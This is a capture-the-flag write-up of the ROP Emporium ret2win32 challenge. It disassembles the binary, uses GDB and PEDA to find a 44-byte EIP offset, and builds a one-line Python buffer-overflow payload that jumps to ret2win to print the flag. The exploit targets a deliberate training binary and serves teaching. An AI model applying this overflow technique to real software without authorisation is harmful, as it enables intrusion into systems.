ROP Emporium – ret2win32

Introduction

In this post, I will be doing the ROP Emporium challange entitled ret2win32 which according to the challange I will need to call a method within the binary by overwriting a saved return address on the stack.  Sounds like a party!

Tools

For this post, I will be using the following tools on a Kali Linux distro:

  • pwntools
  • objdump
  • GDB
  • PEDA – Python Exploit Development Assistance for GDB

Write Up

The first step I am going to take is checking the security on the binary file by using the following command from the pwntools library.

checksec ./ret2win32
[*] '/root/CTF/ROP Emporium/ret2win32/ret2win32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

I can see by the results above that the only security enabled on this binary is the non-executable stack (NX enabled).  Next, I am going to check the .text segment with objdump to get some information about the functions.

objdump -t ret2win32 | grep .text
08048480 l    d  .text	00000000              .text
080484c0 l     F .text	00000000              deregister_tm_clones
080484f0 l     F .text	00000000              register_tm_clones
08048530 l     F .text	00000000              __do_global_dtors_aux
08048550 l     F .text	00000000              frame_dummy
080485f6 l     F .text	00000063              pwnme
08048659 l     F .text	00000029              ret2win
080486f0 g     F .text	00000002              __libc_csu_fini
080484b0 g     F .text	00000004              .hidden __x86.get_pc_thunk.bx
08048690 g     F .text	0000005d              __libc_csu_init
08048480 g     F .text	00000000              _start
0804857b g     F .text	0000007b              main

Both the pwnme and ret2win functions look fairly interesting, so I am going to disassemble those functions to get a better idea of what they do, along with main.  For this, I am going to use objdump along with awk to get each functions assembly instructions, as seen below for the main function.

objdump -d ret2win32 | awk '/main>:/,/^$/'
0804857b <main>:
 804857b:	8d 4c 24 04          	lea    0x4(%esp),%ecx
 804857f:	83 e4 f0             	and    $0xfffffff0,%esp
 8048582:	ff 71 fc             	pushl  -0x4(%ecx)
 8048585:	55                   	push   %ebp
 8048586:	89 e5                	mov    %esp,%ebp
 8048588:	51                   	push   %ecx
 8048589:	83 ec 04             	sub    $0x4,%esp
 804858c:	a1 64 a0 04 08       	mov    0x804a064,%eax
 8048591:	6a 00                	push   $0x0
 8048593:	6a 02                	push   $0x2
 8048595:	6a 00                	push   $0x0
 8048597:	50                   	push   %eax
 8048598:	e8 b3 fe ff ff       	call   8048450 <[email protected]>
 804859d:	83 c4 10             	add    $0x10,%esp
 80485a0:	a1 40 a0 04 08       	mov    0x804a040,%eax
 80485a5:	6a 00                	push   $0x0
 80485a7:	6a 02                	push   $0x2
 80485a9:	6a 00                	push   $0x0
 80485ab:	50                   	push   %eax
 80485ac:	e8 9f fe ff ff       	call   8048450 <[email protected]>
 80485b1:	83 c4 10             	add    $0x10,%esp
 80485b4:	83 ec 0c             	sub    $0xc,%esp
 80485b7:	68 10 87 04 08       	push   $0x8048710
 80485bc:	e8 5f fe ff ff       	call   8048420 <[email protected]>
 80485c1:	83 c4 10             	add    $0x10,%esp
 80485c4:	83 ec 0c             	sub    $0xc,%esp
 80485c7:	68 28 87 04 08       	push   $0x8048728
 80485cc:	e8 4f fe ff ff       	call   8048420 <[email protected]>
 80485d1:	83 c4 10             	add    $0x10,%esp
 80485d4:	e8 1d 00 00 00       	call   80485f6 <pwnme>
 80485d9:	83 ec 0c             	sub    $0xc,%esp
 80485dc:	68 30 87 04 08       	push   $0x8048730
 80485e1:	e8 3a fe ff ff       	call   8048420 <[email protected]>
 80485e6:	83 c4 10             	add    $0x10,%esp
 80485e9:	b8 00 00 00 00       	mov    $0x0,%eax
 80485ee:	8b 4d fc             	mov    -0x4(%ebp),%ecx
 80485f1:	c9                   	leave  
 80485f2:	8d 61 fc             	lea    -0x4(%ecx),%esp
 80485f5:	c3                   	ret    

As you can see in the image above, the pwnme function is called from main like so:

 80485d4: e8 1d 00 00 00 call 80485f6 <pwnme>

Below is the main function in pseudo code:

void main() 
{
    setvbuf(804a064, 0, 2, 0)                            
    setvbuf(804a040, 0, 2, 0)                            
    puts(0x8048710)
    puts(0x8048728)
    pwnme()
    puts(0x8048730)
}

Now I need to take a look at what the pwnme function does by walking through the assembly code displayed by objdump.

objdump -d ret2win32 | awk '/pwnme>:/,/^$/'
080485f6 <pwnme>:
 80485f6:	55                   	push   %ebp
 80485f7:	89 e5                	mov    %esp,%ebp
 80485f9:	83 ec 28             	sub    $0x28,%esp
 80485fc:	83 ec 04             	sub    $0x4,%esp
 80485ff:	6a 20                	push   $0x20
 8048601:	6a 00                	push   $0x0
 8048603:	8d 45 d8             	lea    -0x28(%ebp),%eax
 8048606:	50                   	push   %eax
 8048607:	e8 54 fe ff ff       	call   8048460 <[email protected]>
 804860c:	83 c4 10             	add    $0x10,%esp
 804860f:	83 ec 0c             	sub    $0xc,%esp
 8048612:	68 3c 87 04 08       	push   $0x804873c
 8048617:	e8 04 fe ff ff       	call   8048420 <[email protected]>
 804861c:	83 c4 10             	add    $0x10,%esp
 804861f:	83 ec 0c             	sub    $0xc,%esp
 8048622:	68 bc 87 04 08       	push   $0x80487bc
 8048627:	e8 f4 fd ff ff       	call   8048420 <[email protected]>
 804862c:	83 c4 10             	add    $0x10,%esp
 804862f:	83 ec 0c             	sub    $0xc,%esp
 8048632:	68 21 88 04 08       	push   $0x8048821
 8048637:	e8 c4 fd ff ff       	call   8048400 <[email protected]>
 804863c:	83 c4 10             	add    $0x10,%esp
 804863f:	a1 60 a0 04 08       	mov    0x804a060,%eax
 8048644:	83 ec 04             	sub    $0x4,%esp
 8048647:	50                   	push   %eax
 8048648:	6a 32                	push   $0x32
 804864a:	8d 45 d8             	lea    -0x28(%ebp),%eax
 804864d:	50                   	push   %eax
 804864e:	e8 bd fd ff ff       	call   8048410 <[email protected]>
 8048653:	83 c4 10             	add    $0x10,%esp
 8048656:	90                   	nop
 8048657:	c9                   	leave  
 8048658:	c3                   	ret    

In the above output, you can see that the pwnme function first calls memset to zero out the buffer located at -0x28(%ebp), then calls a few puts functions, followed by a printf, then the fgets function.  The fgets function will be the function I overflow when writing the exploit.

The pwnme function in pesudo code:

void pwnme() 
{
    memset(-0x28(%ebp), '\0', 32)
    puts(0x804873c)
    puts(0x80487bc)
    printf(0x8048821)
    fgets(-0x28(%ebp), 50, 0xf7ec55c0)
}

The last function of interested was the function ret2win.  Since the challange is called ret2win, I am assuming that this function does something special, or I could be completely trolled by a useless function.  Lets take a look at the ret2win function assembly instructions using objdump.

objdump -d ret2win32 | awk '/ret2win>:/,/^$/'
08048659 <ret2win>:
 8048659:	55                   	push   %ebp
 804865a:	89 e5                	mov    %esp,%ebp
 804865c:	83 ec 08             	sub    $0x8,%esp
 804865f:	83 ec 0c             	sub    $0xc,%esp
 8048662:	68 24 88 04 08       	push   $0x8048824
 8048667:	e8 94 fd ff ff       	call   8048400 <[email protected]>
 804866c:	83 c4 10             	add    $0x10,%esp
 804866f:	83 ec 0c             	sub    $0xc,%esp
 8048672:	68 41 88 04 08       	push   $0x8048841
 8048677:	e8 b4 fd ff ff       	call   8048430 <[email protected]>
 804867c:	83 c4 10             	add    $0x10,%esp
 804867f:	90                   	nop
 8048680:	c9                   	leave  
 8048681:	c3                   	ret    
 8048682:	66 90                	xchg   %ax,%ax
 8048684:	66 90                	xchg   %ax,%ax
 8048686:	66 90                	xchg   %ax,%ax
 8048688:	66 90                	xchg   %ax,%ax
 804868a:	66 90                	xchg   %ax,%ax
 804868c:	66 90                	xchg   %ax,%ax
 804868e:	66 90                	xchg   %ax,%ax

Ahhhh, this must be the method the challenge was talking about…

You will need to locate a method within the binary that you want to call and do so by overwriting a saved return address on the stack.

The ret2win function above makes a call to printf, then right after, a call to system.  Since these challenges use CTF style flags to solve each challange, I am assuming this system call is executing a command to read the contents of the flag.txt file. It looks like I will need to overwrite EIP, and redirect control flow over to the ret2win function to get the flag.

Now that I have a good idea of what the executable is doing by examining the assembly  instructions of each function, I am going to run the executable to input some junk values.

python -c "print 'A' * 80" | ./ret2win32
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Segmentation fault

I was able to crash the program by sending 80 characters to the input buffer (the fgets function.)   The next step would be to identify the exact offset to the overflow which caused the crash, this can be done by generating a cyclic pattern to send in place of the 80 A characters.  For this, I am going to use PEDA to generate the pattern.

gdb -q ./ret2win32

While inside gdb, I ran the following command to generate a cyclic pattern of 80 bytes.

pattern_create 80 /tmp/pattern.txt

The above command generates the pattern, and stores it in the file /tmp/pattern.txt.  While still inside gdb, I can re-run the program using /tmp/pattern.txt as input as seen below.

r < /tmp/pattern.txt
Starting program: /root/CTF/ROP Emporium/ret2win32/ret2win32 < /tmp/pattern.txt
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> 
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd180 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
EBX: 0x0 
ECX: 0xf7faf01c --> 0x0 
EDX: 0xffffd180 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
ESI: 0xf7fad000 --> 0x1d6d6c 
EDI: 0xf7fad000 --> 0x1d6d6c 
EBP: 0x41304141 ('AA0A')
ESP: 0xffffd1b0 --> 0xf7fe0062 (adc    al,0x83)
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xffffd1b0 --> 0xf7fe0062 (adc    al,0x83)
0004| 0xffffd1b4 --> 0xffffd1d0 --> 0x1 
0008| 0xffffd1b8 --> 0x0 
0012| 0xffffd1bc --> 0xf7df47e1 (<__libc_start_main+241>:	add    esp,0x10)
0016| 0xffffd1c0 --> 0xf7fad000 --> 0x1d6d6c 
0020| 0xffffd1c4 --> 0xf7fad000 --> 0x1d6d6c 
0024| 0xffffd1c8 --> 0x0 
0028| 0xffffd1cc --> 0xf7df47e1 (<__libc_start_main+241>:	add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()

As you can see above, I was able to crash the program again (as expected), and you can see that it crashed when trying to execute the instruction located at 0x41414541.  To get more information about the crash using the cyclic pattern, I ran the following command within the same gdb session.

pattern_search

The above gdb command prints out detailed information about the crash, as seen below.

Registers contain pattern buffer:
EBP+0 found at offset: 40
EIP+0 found at offset: 44
Registers point to pattern buffer:
[EAX] --> offset 0 - size ~49
[EDX] --> offset 0 - size ~49
Pattern buffer found at:
0x0804b160 : offset    0 - size   80 ([heap])
0xffffd180 : offset    0 - size   49 ($sp + -0x30 [-12 dwords])
References to pattern buffer found at:
0xf7fad5cc : 0x0804b160 (/usr/lib32/libc-2.29.so)
0xf7fad5d0 : 0x0804b160 (/usr/lib32/libc-2.29.so)
0xf7fad5d4 : 0x0804b160 (/usr/lib32/libc-2.29.so)
0xf7fad5d8 : 0x0804b160 (/usr/lib32/libc-2.29.so)
0xf7fad5dc : 0x0804b160 (/usr/lib32/libc-2.29.so)
0xffffcf74 : 0x0804b160 ($sp + -0x23c [-143 dwords])
0xffffd018 : 0x0804b160 ($sp + -0x198 [-102 dwords])
0xffffd044 : 0x0804b160 ($sp + -0x16c [-91 dwords])
0xffffd0f4 : 0xffffd180 ($sp + -0xbc [-47 dwords])
0xffffd124 : 0xffffd180 ($sp + -0x8c [-35 dwords])
0xffffd170 : 0xffffd180 ($sp + -0x40 [-16 dwords])

As you can see by the results, the offset to EBP is 40 bytes, and the offset to EIP is 44 bytes.  Now that I know the offset to control EIP, I should be able to write a small exploit script to overflow EIP and redirect control flow to the ret2win function which is located at 0x8048659.  This challange is can be solved by a one-liner as seen below.

python -c "print 'A' * 44 + '\x59\x86\x04\x08'" > payload.txt

And now to run the program using payload.txt as input.

./ret2win32 < payload.txt
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault

BINGO!  This challange was easy to solve, as the overflow only required a redirection to another function that was already part of the executable.